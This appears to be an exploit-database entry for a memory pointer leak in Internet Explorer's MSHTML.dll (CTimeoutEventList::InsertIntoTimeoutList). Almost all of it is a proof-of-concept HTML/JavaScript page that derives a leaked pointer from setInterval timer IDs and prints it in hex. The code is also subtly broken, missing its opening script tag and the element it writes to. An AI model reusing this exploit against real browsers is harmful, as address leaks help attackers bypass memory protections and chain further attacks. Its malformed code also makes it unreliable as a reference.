发布 2010-07-09 漏洞条目

Microsoft – ‘MSHTML.dll’ CTIMEOUTEVENTLIST::INSERTINTOTIMEOUTLIST Memory Leak

Exploit Source

<html>

<head>

<title>mshtml.dll CTimeoutEventList::InsertIntoTimeoutList Timer ID Pointer leak - Rubén Santamarta www.reversemode.com</title>

var i = 1; // counter

function LeakOrDie() {

var t;

t=setInterval("foo()",2000);

t-=i;

document.getElementById('atun').innerHTML = '<b> Pointer leaked:</b> '+'0x'+t.toString(16);

i++;

}

function foo()

{

return;

}

</script>

</head>

<body>

</body>

</html>

相关漏洞条目